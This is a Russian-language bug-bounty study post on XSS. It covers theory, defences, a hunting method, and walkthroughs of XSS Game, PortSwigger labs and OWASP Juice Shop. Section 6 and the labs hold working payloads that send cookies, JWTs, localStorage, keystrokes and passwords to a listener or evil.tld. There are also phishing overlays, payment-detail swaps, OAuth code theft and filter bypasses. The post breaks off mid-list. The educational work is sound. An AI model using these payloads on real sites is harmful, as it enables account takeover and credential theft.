obuchenie_post
July 25

День 46. XSS с нуля

XSS — теория, методика поиска и практика

TL;DR XSS = выполнение чужого JS в origin доверенного сайта.

  • Тип определяется источником данных: запрос → reflected, БД → stored, клиентский JS → DOM-based.
  • Пейлоад определяется контекстом вставки, а не «крутостью» вектора.
  • alert(1) — не находка, а лакмус. Находка — это цепочка до ATO.

Часть I. Теория

1. Что такое XSS

XSS (Cross-Site Scripting, межсайтовый скриптинг) — уязвимость, при которой сайт позволяет внедрить и выполнить чужой JavaScript-код в браузере других пользователей.

То есть атакующий добивается ситуации, когда страница доверенного сайта запускает недоверенный скрипт.

Почему это опасно XSS даёт выполнение JS в origin приложения. Значит, твой код может всё то же, что и легитимный фронтенд — с теми же куками, теми же токенами, тем же CORS.

Что при этом может сделать атакующий

  1. Украсть данные из страницы
  2. Выполнить действия от имени пользователя
  3. Подменить содержимое страницы
  4. Перехватить ввод (логины/пароли)
  5. Украсть данные с другого сайта через CORS
  6. Украсть данные из localStorage
  7. Редиректнуть пользователя на другую страницу

→ Разбор каждого пункта с кодом: раздел 6


2. Основные виды XSS

2.1 Stored — хранимая

Payload сохраняется на сервере (комментарий, имя профиля, тикет в поддержку, User-Agent в логах админки) и срабатывает у каждого, кто откроет страницу.

Жертву никуда вести не надо — она сама придёт. Поэтому импакт и выплата всегда выше.

🔗 PortSwigger — Stored XSS

2.2 Reflected — отражённая

Payload летит в запросе и тут же возвращается в ответе. Ничего не сохраняется.

site.com/search?q=<script>alert(1)</script>

Сервер отрисовал твой ввод в HTML. Чтобы кого-то атаковать, нужно заставить жертву перейти по ссылке.

🔗 PortSwigger — Reflected XSS

2.3 DOM-based — на основе DOM

Уязвимый JS на клиенте берёт данные из источника (source) и кладёт их в сток (sink), который умеет выполнять код.

// source: location.hash
// sink: innerHTML
document.getElementById('out').innerHTML = location.hash.slice(1);

Эксплуатация:

site.com/#<img src=x onerror=alert(1)>

Почему DOM XSS особенно неприятна для защиты Фрагмент после # вообще не уходит на сервер — поэтому WAF, серверные фильтры и логи её не видят.

DOM-based бывает и stored, и reflected — тип определяется тем, откуда пришли данные в source.

🔗 PortSwigger — DOM-based XSS

Частая путаница поиск → reflected, комментарий → stored. Не наоборот.


3. Почему возникает

Тип Причина Reflected Небезопасное отображение пользовательского ввода. Страница поиска показывает введённую строку, чтобы пользователю было понятнее, что он ищет. Если данные выводятся без обработки — <script>…</script> встроится в страницу и выполнится. Stored То же самое, но источник — сохранённые данные, а не запрос. Поле «комментарий» на сайте с отзывами: если отображаются сырые данные, проходит <img src=x onerror="…">. DOM-based Небезопасно написанный фронтенд: eval, innerHTML и т.п. Может быть гибридным — небезопасные функции на фронте, а данные прилетают из параметров запроса или из сохранённого на сервере контента.


4. Sources и sinks

4.1 Основные источники (sources)

location.href    location.search    location.hash
document.referrer    postMessage    localStorage

4.2 Основные стоки (sinks)

Нативные:

document.write()    document.writeln()    document.domain
element.innerHTML    element.outerHTML
element.insertAdjacentHTML    element.onevent
eval()    setTimeout('строка')    setInterval('строка')
element.setAttribute('href', ...)  → для javascript:

jQuery — тоже ловушки:

add()  after()  append()  animate()  insertAfter()  insertBefore()
before()  html()  prepend()  replaceAll()  replaceWith()
wrap()  wrapInner()  wrapAll()  has()  constructor()  init()
index()  jQuery.parseHTML()  $.parseHTML()

Во фреймворках:

Фреймворк Конструкция Angular bypassSecurityTrustHtml() + [innerHTML] React dangerouslySetInnerHTML Vue v-html Svelte {@html}

🔗 Полный список небезопасных конструкций — PortSwigger

Правило про innerHTML <script>, вставленный через innerHTML, никогда не выполняется — так работает спецификация HTML5. Скрипты исполняются только когда их встречает парсер при разборе документа.

В innerHTML-стоках берём <img src=x onerror=>, <svg onload=>, <iframe src=javascript:>.

Исключение — document.write(): он пишет прямо в парсер, поэтому там <script> живой.


5. Как защищаться

Обязательное

  • Экранировать любой пользовательский ввод при выводе на страницу.
  • Кодировать ввод в HTML-кодировку либо экранировать перед сохранением.
  • Не использовать небезопасные функции и методы — для каждой всегда есть безопасный аналог.
  • Контекстно-зависимое кодирование (HTML / attribute / JS / URL) на всех точках вывода.

Defense-in-depth — усложнить атаку

  • Настроить CSP.
  • Использовать DOMPurify, когда вынужден работать с выводом небезопасного HTML.
  • Флаг HttpOnly для сессионных кук.
    • ⚠️ Не спасает localStorage — если JWT лежит там, XSS = полный ATO независимо от HttpOnly.

Часть II. От alert(1) до импакта

6. Векторы импакта

Почему alert(1) — это не эксплойт, а лакмус alert(1) доказывает одно: твои данные попали в контекст выполнения. Это как найти незапертую дверь. Импакт — это то, что за дверью.

Ниже COLLAB — Burp Collaborator, interact.sh или свой listener.


6.1 Украсть данные из страницы

// 1. Выгрузить весь DOM целиком
fetch('https://COLLAB/?d='+encodeURIComponent(document.body.innerHTML))

// 2. Забрать CSRF-токен (нужен для следующего блока)
fetch('https://COLLAB/?csrf='+document.querySelector('input[name=csrf]').value)

// 3. Прочитать другую страницу того же origin — жертва её даже не открывала
fetch('/my-account').then(r=>r.text())
  .then(t=>fetch('https://COLLAB/?p='+encodeURIComponent(t)))

// 4. Через <img> — работает, когда CSP режет connect-src, но не img-src
new Image().src='https://COLLAB/?d='+btoa(document.body.innerText.slice(0,1500))

// 5. Точечно вытащить PII регуляркой (компактнее, меньше шансов обрезаться)
fetch('https://COLLAB/?pii='+encodeURIComponent(
  document.body.innerText.match(/[\w.+-]+@[\w-]+\.[\w.]+|\d{16}/g)))

Про пункт 3 — главное, что недооценивают XSS на одной странице даёт чтение всех страниц origin'а. Уязвимость в блоге → выгрузка /my-account, /admin, истории заказов.


6.2 Выполнить действия от имени пользователя

// 1. Смена email → потом сброс пароля на свой ящик = ATO
fetch('/my-account/change-email',{method:'POST',credentials:'include',
  headers:{'Content-Type':'application/x-www-form-urlencoded'},
  body:'email=attacker@evil.tld&csrf='+csrf})

// 2. Двухшаговый вариант: сначала достать свежий токен, потом отправить
fetch('/my-account').then(r=>r.text()).then(t=>{
  const csrf = new DOMParser().parseFromString(t,'text/html')
                 .querySelector('[name=csrf]').value;
  fetch('/my-account/change-email',{method:'POST',credentials:'include',
    body:new URLSearchParams({email:'attacker@evil.tld',csrf})});
});

// 3. Смена пароля, если старый не запрашивается
fetch('/api/user/password',{method:'POST',credentials:'include',
  headers:{'Content-Type':'application/json'},
  body:'{"password":"Pwn3d!2026"}'})

// 4. Persistence: создать API-токен / добавить SSH-ключ — живёт дольше сессии
fetch('/api/tokens',{method:'POST',credentials:'include',
  headers:{'Content-Type':'application/json'},
  body:'{"name":"backup","scopes":["*"]}'})
  .then(r=>r.text()).then(t=>fetch('https://COLLAB/?tok='+encodeURIComponent(t)))

// 5. Когда API неизвестен — просто дёрнуть UI за пользователя
document.querySelector('#invite-user').click()

Ключевое credentials:'include' — куки подставляет сам браузер, HttpOnly тут не мешает вообще. Поэтому этот вектор работает там, где кража куки невозможна.

Пункт 4 — самый ценный для отчёта: показывает, что доступ сохраняется после логаута жертвы и смены пароля.


6.3 Подменить содержимое страницы

// 1. Полная перерисовка
document.body.innerHTML = '<h1>Site is under maintenance</h1>'

// 2. Оверлей с фейковым логином — настоящий домен, настоящий TLS
document.body.insertAdjacentHTML('beforeend',
 `<div style="position:fixed;inset:0;background:#fff;z-index:99999;padding:15%">
    <h2>Your session expired. Please sign in again.</h2>
    <input id=u placeholder=Username><input id=p type=password placeholder=Password>
    <button onclick="fetch('https://COLLAB/?c='+u.value+':'+p.value)">Sign in</button>
  </div>`)

// 3. Тихая подмена платёжных реквизитов — визуально незаметно
document.querySelectorAll('.iban,.account-number')
  .forEach(e=>e.textContent='NL00EVIL0000000000')

// 4. Подмена ссылки на скачивание — доставка малвари с легитимного домена
document.querySelectorAll('a[href$=".exe"],a[href$=".dmg"]')
  .forEach(a=>a.href='https://evil.tld/setup.exe')

// 5. Подмена телефона поддержки → vishing
document.body.innerHTML = document.body.innerHTML
  .replace(/\+31\s?20\s?\d{3}\s?\d{4}/g,'+31 20 000 0000')

В отчёте пункты 3–5 звучат намного сильнее, чем defacement из пункта 1: атака не выдаёт себя, и импакт финансовый, а не репутационный.


6.4 Перехватить ввод

// 1. Глобальный кейлоггер
document.addEventListener('keydown',e=>
  new Image().src='https://COLLAB/?k='+encodeURIComponent(e.key))

// 2. Перехват на submit — надёжнее, ловит и автозаполнение из менеджера паролей
document.addEventListener('submit',e=>{
  const d=new URLSearchParams(new FormData(e.target)).toString();
  navigator.sendBeacon('https://COLLAB/?form='+encodeURIComponent(d));
},true)

// 3. Точечно на поле пароля
document.querySelectorAll('input[type=password]').forEach(i=>
  i.addEventListener('change',e=>
    navigator.sendBeacon('https://COLLAB/?p='+e.target.value)))

// 4. Приманка для менеджера паролей — скрытая форма, автозаполнение сработает само
document.body.insertAdjacentHTML('beforeend',
 `<form style="position:absolute;left:-9999px">
    <input name=username><input name=password type=password></form>`);
setTimeout(()=>{const f=document.forms[document.forms.length-1];
  navigator.sendBeacon('https://COLLAB/?pm='+f.username.value+':'+f.password.value)},2000)

// 5. Перехват буфера обмена — пароли из менеджеров часто вставляют, а не печатают
document.addEventListener('paste',e=>
  navigator.sendBeacon('https://COLLAB/?clip='+
    encodeURIComponent(e.clipboardData.getData('text'))))

navigator.sendBeacon вместо fetch — запрос не отменяется при уходе со страницы. Для кейлоггера и submit это критично, иначе теряешь последние символы.

Пункт 4 работает потому, что браузерный автофилл не проверяет видимость формы, только домен.


6.5 Украсть данные с другого сайта через CORS

Уточнение, важное для отчёта XSS сама по себе даёт чтение только своего origin. Чужой сайт читается, только если на нём есть мисконфиг CORS. Это цепочка из двух багов, и в отчёте её так и надо описывать.

// 1. Классика: сервер отражает Origin + Allow-Credentials: true
fetch('https://api.target.com/me',{credentials:'include'})
  .then(r=>r.text()).then(t=>fetch('https://COLLAB/?leak='+encodeURIComponent(t)))

// 2. ACAO: null — атака из sandbox-iframe, чей origin равен null
const f=document.createElement('iframe');
f.sandbox='allow-scripts';
f.srcdoc=`<script>fetch('https://api.target.com/me',{credentials:'include'})
  .then(r=>r.text()).then(t=>fetch('https://COLLAB/?n='+encodeURIComponent(t)))<\/script>`;
document.body.append(f)

// 3. Доверие ко всем поддоменам, а XSS у нас на забытом sub.target.com
fetch('https://internal-api.target.com/v1/users',{credentials:'include'})
  .then(r=>r.json()).then(j=>fetch('https://COLLAB/?u='+btoa(JSON.stringify(j))))

// 4. Кривая проверка Origin регуляркой — работает, если XSS на eviltarget.com
//    (сервер матчит "target.com" подстрокой, а не по границам)
fetch('https://api.target.com/keys',{credentials:'include'})

// 5. Wildcard без credentials — но данные всё равно чувствительные
fetch('http://192.168.1.10:8080/api/config')
  .then(r=>r.text()).then(t=>fetch('https://COLLAB/?int='+encodeURIComponent(t)))

Про пункт 5 Заход во внутреннюю сеть через браузер сотрудника. Origin: * без credentials часто считают безопасным — но если сервис внутренний и не требует авторизации по IP, данные утекают.


6.6 Украсть данные из localStorage

// 1. Всё содержимое одним запросом
fetch('https://COLLAB/?ls='+btoa(JSON.stringify(localStorage)))

// 2. Точечно JWT / refresh-токен
fetch('https://COLLAB/?jwt='+localStorage.getItem('access_token')
      +'&rt='+localStorage.getItem('refresh_token'))

// 3. sessionStorage — про него забывают, а там часто лежит то же самое
fetch('https://COLLAB/?ss='+btoa(JSON.stringify(sessionStorage)))

// 4. IndexedDB — здесь живёт офлайн-кэш: переписка, документы, контакты
indexedDB.databases().then(dbs=>dbs.forEach(d=>{
  const r=indexedDB.open(d.name);
  r.onsuccess=e=>{const db=e.target.result;
    [...db.objectStoreNames].forEach(s=>
      db.transaction(s).objectStore(s).getAll().onsuccess=ev=>
        fetch('https://COLLAB/?idb='+d.name+'.'+s+'='
              +encodeURIComponent(JSON.stringify(ev.target.result).slice(0,3000))))}
}))

// 5. Куки без HttpOnly + Cache Storage (кэш API-ответов от service worker)
fetch('https://COLLAB/?ck='+document.cookie);
caches.keys().then(ks=>ks.forEach(k=>caches.open(k).then(c=>c.keys()
  .then(rs=>fetch('https://COLLAB/?cache='+encodeURIComponent(rs.map(r=>r.url).join())))) ))

Главный вывод раздела Куки защищены флагом HttpOnly — а localStorage, sessionStorage, IndexedDB и Cache Storage не защищены ничем.

В отчётах стоит писать отдельным пунктом: хранение JWT в localStorage превращает любую XSS в полный ATO.

Бонус: service worker (самый жёсткий вариант) Регистрация своего service worker'а — код остаётся в браузере жертвы после того как XSS пофиксили, перехватывает все запросы к origin'у и переживает перезагрузку.

Требует, чтобы .js-файл отдавался с нужного пути. Но если получилось — Critical без вопросов.


6.7 Редиректнуть пользователя

// 1. Простой редирект
location = 'https://evil.tld/login'

// 2. Без записи в историю — кнопка «Назад» не вернёт пользователя
location.replace('https://evil.tld/login')

// 3. Tabnabbing: жертва видит легитимный сайт, подменяется фон
window.open('https://evil.tld/phish'); location='https://target.com/'

// 4. Условный — не палиться перед админом/сканером и логами
if(!/admin/i.test(document.body.innerText) && /Mobi/.test(navigator.userAgent))
  location='https://evil.tld/'

// 5. Кража OAuth-кода: редирект в свой флоу, забираем code со своего redirect_uri
location='https://target.com/oauth/authorize?client_id=X'
        +'&redirect_uri=https://evil.tld/cb&response_type=code&scope=all'

Пункт 5 сильнее остальных: пользователь не вводит ничего, согласие часто уже выдано, prompt=none проходит молча — а ты получаешь code и обмениваешь на токен.


7. Шпаргалки

7.1 Контексты вставки

Половина «фильтр меня блокирует» решается пониманием, куда именно попал твой ввод.

Куда попал ввод Что нужно Пример В тело HTML новый тег <img src=x onerror=alert(1)> Внутрь атрибута value="ЗДЕСЬ" закрыть кавычку " autofocus onfocus=alert(1) x=" Атрибут без кавычек пробел + событие onmouseover=alert(1) Внутрь JS-строки var a='ЗДЕСЬ' закрыть строку ';alert(1);// Внутрь on*-атрибута выйти из JS-строки ');alert(1)// В href / src схема javascript:alert(1) Внутрь <textarea> / <title> сначала закрыть тег </textarea><img src=x onerror=alert(1)>

Базовые обходы:

  • <script> режут → берёшь событийный хендлер
  • alert в блэклисте → confirm / print / (alert)(1) / window['al'+'ert'](1)
  • Фильтр срабатывает один раз, не рекурсивно → <scr<script>ipt>

7.2 Обходы, когда фильтруют javascript:

Браузер очень терпим к мусору внутри схемы — этим и пользуются.

Пейлоад Что обходит JaVaScRiPt:alert(1) регистрозависимый фильтр java%09script:alert(1) таб внутри схемы, браузер его игнорит java%0ascript:alert(1) перевод строки, то же самое %20javascript:alert(1) пробел / \x00-\x20 перед схемой javascript&colon;alert(1) HTML-сущность, парсер раскодирует до перехода javascript:alert&lpar;1&rpar; фильтр по скобкам

Про data: data:text/html,<script>alert(1)</script> когда-то работал, но современные браузеры запрещают навигацию верхнего уровня на data:.

Держи в голове для <iframe src>, <script src> и старых движков — там data: по-прежнему живой.

🔗 Список пейлоадов — devspidr/XSS_payloads_list


Часть III. Методика поиска Reflected XSS

Алгоритм в том порядке, в котором его реально прогоняют на таргете. Шаги 2 и 3 дают ~80% результата — и делаются реже всего.

Шаг 0. Настройка окружения

  • Burp с включённым прокси, весь трафик идёт через него.
  • Scope выставлен, чтобы не шумели сторонние домены.
  • Браузер с отдельным профилем, без расширений. Желательно Chrome и Firefox — парсеры разные, что-то может сработать только в одном.
  • Заведи два аккаунта: атакующий и жертва. Понадобятся при доказательстве импакта.
  • Burp Collaborator открыт заранее (или свой listener), чтобы не бегать за ним потом.

Шаг 1. Собрать все точки входа

Задача — получить полный список параметров, а не только то, что видно в адресной строке.

  1. Crawl в Burp + ручной обход приложения кликами: ошибки, пустые состояния, фильтры, сортировки, пагинация.
  2. GET-параметры из истории прокси.
  3. POST-параметры, включая скрытые <input type=hidden>.
  4. Части URL-пути/profile/USERNAME, /error/404?page=. Путь отражается чаще, чем думают.
  5. Заголовки: Referer, User-Agent, X-Forwarded-For, Origin, Host, кастомные X-*. Их редко экранируют, потому что «пользователь их не контролирует».
  6. Cookies — значение куки часто печатается на странице.
  7. JSON-тела — попробуй сменить Content-Type на application/x-www-form-urlencoded и наоборот, поведение парсера меняется.
  8. JS-файлы: выкачай все, прогони через linkfinder / грепни на ?param=. Там лежат параметры, которых нет ни в одной ссылке.
  9. Архивы: waybackurls, gau, paramspider — старые эндпоинты живут дольше, чем ссылки на них.
  10. Неизвестные параметры: Arjun или param-miner в Burp — брутфорс имён по ответу.

Отдельно сохрани список 404/500-страниц и страниц поиска — исторически самые частые места reflected XSS.

Шаг 2. Проверить отражение маркером, а не пейлоадом

Самый важный и самый пропускаемый шаг. Никаких <script> пока.

Отправь в каждый параметр уникальную безобидную строку:

fnay1337

Ищи её в теле ответа. Нет — параметр не отражается, идёшь дальше. Экономит часы.

Затем проверь набор символов:

fnay1337'"<>()[]{};/\`=$

Пришло обратно Значит всё как есть скорее всего XSS, идём дальше &lt; &gt; &quot; HTML-экранирование — но проверь, не попал ли ты в JS/атрибут (см. LVL4) < > удалены, кавычки остались шанс на инъекцию в атрибут \' \" JS-экранирование, ищи разрыв через перевод строки или </script> всё вырезано вероятно WAF, смотри код ответа и время

Автоматизация: Burp Intruder по списку параметров + grep на маркер, или ffuf с -mr fnay1337.

Шаг 3. Определить контекст отражения

Открываешь сырой ответ (не DOM в браузере!) и смотришь, куда приземлился маркер.

→ Таблица контекстов: 7.1 Контексты вставки

Если маркер отразился в нескольких местах — проверяй каждое. Как в LVL4: в одном месте экранировано, в другом нет.

Шаг 4. Собрать минимальный пейлоад под контекст

Правило Не начинай с длинного пейлоада. Собирай по кирпичику, чтобы понимать, что именно ломается.

  1. Проверь, что проходит символ выхода (" или ').
  2. Проверь, что проходит имя события (onfocus, onerror).
  3. Собери целиком.

Первая тройка для быстрой проверки:

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
"><img src=x onerror=alert(1)>

Помни про LVL3 / Juice Shop: если sink — innerHTML, <script> не сработает никогда.

Шаг 5. Убедиться, что пейлоад доехал целым

Сравни в Burp: что отправил → что вернулось. Что калечит пейлоад по дороге:

Символ Кодировать Почему ; %3B разделитель параметров (CGI, GAE) & %26 разделитель параметров # %23 не уходит на сервер + %2B станет пробелом / %2F путаница с путём

Плюс проверь ограничение по длине. Если режет — короткий вектор: <svg onload=eval(name)> и передача кода через window.name.

Шаг 6. Обойти фильтр

Сначала определи, что именно фильтруется — по одному символу за раз, а не наугад.

  • Регистр: <ImG SrC=x OnErRoR=alert(1)>
  • Слово в блэклисте: alertconfirm, print, (alert)(1), window['al'+'ert'](1)
  • Нерекурсивная замена: <scr<script>ipt>
  • Двойное кодирование: %253Cscript%253E
  • Декодирование после фильтра (как unescape в LVL3) — процентное кодирование проходит фильтр и восстанавливается перед sink'ом
  • Другие события: onerror в списке → onfocus, onanimationstart, ontoggle, onpointerover
  • Без круглых скобок: <svg onload=alert&#40;1&#41;> или throw onerror=alert,1
  • Без кавычек и слэшей: когда есть addslashes

Фильтр непонятен → прогони cheat sheet PortSwigger'а через Burp Intruder (готовый список тегов и событий) и смотри, что вернулось неискалеченным. Быстрее ручного перебора.

Шаг 7. Проверить CSP

Прежде чем радоваться — посмотри заголовок Content-Security-Policy. Если он есть, alert(1) может не выполниться при абсолютно рабочей инъекции.

  • есть ли unsafe-inline в script-src → CSP не мешает вообще;
  • есть ли nonce / hash → inline-события мертвы, нужен внешний скрипт;
  • что в allowlist → CDN с JSONP превращается в обход: //cdn.tld/api?callback=alert;
  • отсутствие base-uri → можно подменить базу и перехватить загрузку относительных скриптов.

Прогони политику через Google CSP Evaluator — сразу подсветит слабые места.

Шаг 8. Подтвердить в браузере, а не в Burp

Burp показывает ответ, но не исполняет его.

  • пейлоад может отработать в Firefox и не отработать в Chrome;
  • современные браузеры блокируют часть векторов;
  • alert мог быть переопределён приложением → используй print() или смотри Console.

F5 обязателен, если инъекция через # и код висит на window.onload. Смена фрагмента сама по себе не перезапускает обработчик.

Шаг 9. Довести до импакта

Минимальный PoC для отчёта:

fetch('https://COLLAB/?d='+document.domain+'&c='+document.cookie
      +'&t='+localStorage.getItem('token'))

Дальше по разделу 6: чтение CSRF → смена email → ATO. Проверь HttpOnly на сессионной куке и загляни в localStorage — там чаще всего и лежит ключ к ATO.

Шаг 10. Оформить отчёт

  • Один чистый URL, воспроизводящий баг с нуля в приватном окне.
  • Роль для воспроизведения (анонимный / авторизованный / админ).
  • Браузер и версия, если вектор браузерозависимый.
  • Цепочка импакта, а не пейлоад: «Reflected XSS в ?q= → чтение JWT из localStorage → полный ATO».
  • Скринкаст 30–60 секунд.
  • Рекомендация по фиксу: контекстное экранирование на выводе + CSP с nonce.

8. Чего не делать

Failure

  • Не начинай с автосканера. DAST найдёт очевидное, зашумит таргет и пропустит всё, что требует понимания контекста. Сканер — после ручного прохода, а не вместо.
  • Не кидай пейлоады в параметры, которые не отражаются. Шаг 2 существует именно для этого.
  • Не считай self-XSS находкой. Если пейлоад выполняется только в своём аккаунте после ручной вставки — нужна цепочка (CSRF на профиль, login-CSRF, cache poisoning), иначе N/A.
  • Не тестируй на реальных пользователях. Особенно кейлоггеры и оверлеи.
  • Не оставляй persistence. Service worker, API-токены, изменённый email — откати после подтверждения и напиши об этом в отчёте.

Часть IV. Практика

9. Материалы

PortSwigger

Видео


10. XSS Game — прохождение

🔗 xss-game.appspot.com

LVL 1 — отражённая, чистый HTML-контекст

<script>alert(1)</script>

LVL 2 — stored, sink = innerHTML

<img src=x onerror=alert(1)>

<script> не сработает — сток innerHTML.

LVL 3 — DOM-based, инъекция в атрибут src

Source: location.hashunescape() → конкатенация → $().html()

#' onerror='alert(1)

Закодированный вариант (проходит фильтры, unescape восстановит):

#%27%20onerror=%27alert(1)

В черновике был записан вариант 1'onerror'=alert(1) — без пробелов. Каноничная форма — 1' onerror='alert(1). Стоит перепроверить, какой именно сработал, и оставить один.

F5 обязателен — код висит на window.onload.

LVL 4 — отражённая, инъекция в on*-атрибут

Контекст: onload="startTimer('ВВОД');"

https://xss-game.appspot.com/level4/frame?timer=3'),alert('1
https://xss-game.appspot.com/level4/frame?timer=3%27)%3Balert(%271

Почему ; пришлось кодировать Точка с запятой — второй разделитель параметров в query string (старая спецификация CGI, соблюдается в Google App Engine). Пейлоад обрезался до уязвимого кода.

Варианты: %3B или оператор запятой , вместо ;.

LVL 5 — инъекция в href, псевдопротокол

https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1)

Ничего ломать не надо — остаёшься внутри атрибута, просто подставляешь другую схему. Ни <, ни >, ни кавычек.

LVL 6 — обход блэклиста в script.src

Регулярка /^https?:\/\// без флага i. Три обхода:

#data:text/javascript,alert(1)
#HTTPS://evil.tld/payload.js
#//evil.tld/payload.js


11. PortSwigger Labs

Reflected XSS into HTML context with nothing encoded

🔗 Лаба

Stored XSS into HTML context with nothing encoded

🔗 Лаба

Exploiting XSS to steal cookies

🔗 Лаба

Цепочка: Burp Collaborator → stored payload в комментарии → перехват куки жертвы → подстановка куки → публикация комментария от чужого имени.

<script>
fetch('https://BURP-COLLABORATOR-SUBDOMAIN', {
  method: 'POST',
  mode: 'no-cors',
  body: document.cookie
});
</script>


Часть V. Juice Shop — разбор и решение

12. Задание

Задание 1 — практика

Развернуть OWASP Juice Shop локально и найти Stored, Reflected и DOM XSS. Найти в коде конструкции, приводящие к XSS, и придумать надёжную защиту. Затем проэксплуатировать XSS в админ-панели:

  1. Удалить все фидбэки от лица админа.
  2. Украсть данные всех пользователей и отправить их на свой interact.sh сервер.

Развёртывание Некоторые уязвимости недоступны внутри Docker — добавь переменную среды NODE_ENV=unsafe при запуске контейнера.

Задание 2 — архитектура

Сервис позволяет писать статьи в markdown, статьи рендерятся и публикуются на главной. Угроза: markdown-тег превращается в HTML с XSS-инъекцией.

Вопрос: как правильно сделать такой редактор и уменьшить риск XSS?

Ответ = параграф с рекомендуемыми защитами + диаграмма (draw.io): бэкенд, фронтенд, подписанные стрелки с передаваемыми данными и средствами защиты.

Нужно придумать, где рендерить markdown и как правильно его санитайзить.

  • Задание 2 — не сделано

13. Где в коде живёт XSS

Все находки — из репозитория juice-shop/juice-shop.

13.1 Небезопасные конструкции (frontend, Angular)

Главный анти-паттерн — обход встроенной защиты Angular через DomSanitizer.bypassSecurityTrustHtml(...) в паре с биндингом [innerHTML].

Файл Строка Что делает Тип search-result.component.ts 110 tableData[i].description = sanitizer.bypassSecurityTrustHtml(...) Server-side XSS через описание товара search-result.component.ts 143 searchValue = sanitizer.bypassSecurityTrustHtml(queryParam) DOM XSS в строке поиска administration.component.ts 91 feedback.comment = sanitizer.bypassSecurityTrustHtml(feedback.comment) Stored XSS в админ-панели ← цель administration.component.html 60 <p [innerHTML]="feedback.comment"> Sink, куда попадает недоверенный HTML

Пути относительно frontend/src/app/

bypassSecurityTrust* — красный флаг при аудите Это единственный способ отключить автоэкранирование Angular. Любой вызов на пути пользовательского ввода = потенциальная XSS.

Грепать при code review в первую очередь:

bypassSecurityTrustHtml|bypassSecurityTrustScript|bypassSecurityTrustUrl|bypassSecurityTrustResourceUrl

13.2 Дырявая серверная «санитизация»

models/feedback.ts — сеттер поля comment, строки 41–54:

if (utils.isChallengeEnabled(challenges.persistedXssFeedbackChallenge)) {
  sanitizedComment = security.sanitizeHtml(comment)   // ← ОДНОКРАТНАЯ очистка
} else {
  sanitizedComment = security.sanitizeSecure(comment) // ← безопасный вариант
}

lib/insecurity.ts:

export const sanitizeHtml = (html) => sanitizeHtmlLib(html)   // 1 проход

export const sanitizeSecure = (html) => {                     // рекурсивно до стабильности
  const sanitized = sanitizeHtml(html)
  return sanitized === html ? html : sanitizeSecure(sanitized)
}

Суть бага — mutation XSS

  1. За один проход санитайзер вырезает часть тегов…
  2. …но оставляет вложенную конструкцию, которая после парсинга браузером снова становится валидным <iframe src="javascript:...">.
  3. sanitizeSecure гоняет очистку рекурсивно, пока строка не перестанет меняться, — и потому безопасна.
  4. Для этого challenge намеренно используется однопроходный sanitizeHtml → нагрузка «просачивается» и сохраняется в БД.

Правило идемпотентности Корректный санитайзер обязан быть идемпотентным:

sanitize(sanitize(x)) === sanitize(x)

Если второй проход меняет строку — санитайзер уязвим к mXSS. Готовый тест для code review и для отчёта: покажи разницу между первым и вторым проходом.


14. Как надёжно защититься

Frontend

  1. Убрать bypassSecurityTrustHtml для пользовательского ввода — пусть работает автоэкранирование Angular.
    • Для текста: интерполяция {{ feedback.comment }} или [textContent], не [innerHTML].
  2. Если HTML реально нужен — прогонять через DOMPurify непосредственно перед вставкой, с белым списком:
    • без iframe, object, embed;
    • без on*-обработчиков;
    • без javascript:-URI.

Backend

  1. Использовать sanitizeSecure (идемпотентную, рекурсивную очистку) везде.
  2. Обновить sanitize-html и задать явный whitelist: { allowedTags: [...], allowedAttributes: {...}, allowedSchemes: ['http', 'https', 'mailto'] }

Defense-in-depth

  1. Строгий CSP — блокирует инлайн-скрипты и javascript: в iframe: default-src 'self'; script-src 'self'; frame-src 'none'
  2. Флаг HttpOnly на cookie с токеном.
    • ⚠️ Не спасает localStorage — если JWT там, XSS = полный ATO.
  3. Контекстно-зависимое кодирование (HTML / attr / JS / URL) на всех точках вывода.

15. Воспроизведение

Общий паттерн Все три вектора эксплуатируют одно и то же: bypassSecurityTrustHtml() отключает автоэкранирование Angular, а результат уходит в [innerHTML]. Отличается только источник данных — он и определяет тип XSS.

15.1 DOM XSS — строка поиска

Где: frontend/src/app/search-result/search-result.component.ts

this.searchValue = this.sanitizer.bypassSecurityTrustHtml(e); // e = ?q= из URL

Значение q берётся из URL целиком на клиенте и вставляется через [innerHTML]="searchValue". Сервер не участвует → DOM-based.

http://localhost:3000/#/search?q=<iframe src="javascript:alert(`xss`)">

Перепроверить утверждение про <img src=x onerror=> В черновике было: «Angular innerHTML вырезает inline-обработчики через свою же чистку». Это, скорее всего, неточноbypassSecurityTrustHtml() отключает санитайзер Angular полностью, вырезать некому.

Более вероятная причина каноничности <iframe>: так устроена проверка самого челленджа — детектор ищет конкретную строку. То есть <img src=x onerror=alert(1)> может выполниться, но challenge не засчитается.

Проверить руками, иначе некорректный тезис уедет в отчёт.

Challenge: DOM XSS

15.2 Reflected XSS — отслеживание заказа

Где: frontend/src/app/track-result/track-result.component.ts

this.results.orderNo = this.sanitizer.bypassSecurityTrustHtml(
  `<code>${e.data[0].orderId}</code>`
);

id уходит на сервер (/rest/track-order/:id), возвращается как есть и вставляется в HTML → reflected.

http://localhost:3000/#/track-result?id=<iframe src="javascript:alert(`xss`)">

Challenge: Reflected XSS

15.3 Stored XSS — админ-панель ← основной вектор

Где: frontend/src/app/administration/administration.component.ts

Два sink'а, оба проверены в бандле:

// таблица пользователей:
i.email = this.sanitizer.bypassSecurityTrustHtml(`<span class="...">${i.email}</span>`);

// таблица фидбэков:
i.comment = this.sanitizer.bypassSecurityTrustHtml(i.comment);

Данные (email пользователя, текст фидбэка) хранятся в БД и рендерятся как доверенный HTML, когда админ открывает #/administration.

Почему это самый ценный вектор Payload, сохранённый обычным пользователем, исполняется в браузере администратора с его сессией. Ни доставки ссылки, ни клика, ни социальной инженерии — жертва приходит сама. В реальном отчёте это Critical.

Обход клиентской валидации

Форма регистрации на фронте валидирует формат email. Но валидация только на клиенте, REST API её не дублирует.

curl -s http://localhost:3000/api/Users -H 'Content-Type: application/json' \
  --data '{"email":"<iframe src=\"javascript:alert(`xss`)\">","password":"pwn12345","passwordRepeat":"pwn12345"}'
{"status":"success", ... "email":"<iframe src=\"javascript:alert(`xss`)\">"}

Состояние стенда Такой пользователь уже создан, id: 24.

Challenge: Client-side XSS Protection

Переносимый вывод Клиентская валидация — UX, а не контроль безопасности. Всегда дублируй проверки на API и тестируй эндпоинт напрямую, минуя форму: curl, Burp Repeater, Postman.

Расхождение «форма проверяет — API нет» встречается в проде постоянно и само по себе тянет на находку, даже без XSS сверху.


16. Атака в админ-панели

Оба задания решаются одним payload'ом

  1. Удалить все фидбэки от лица админа.
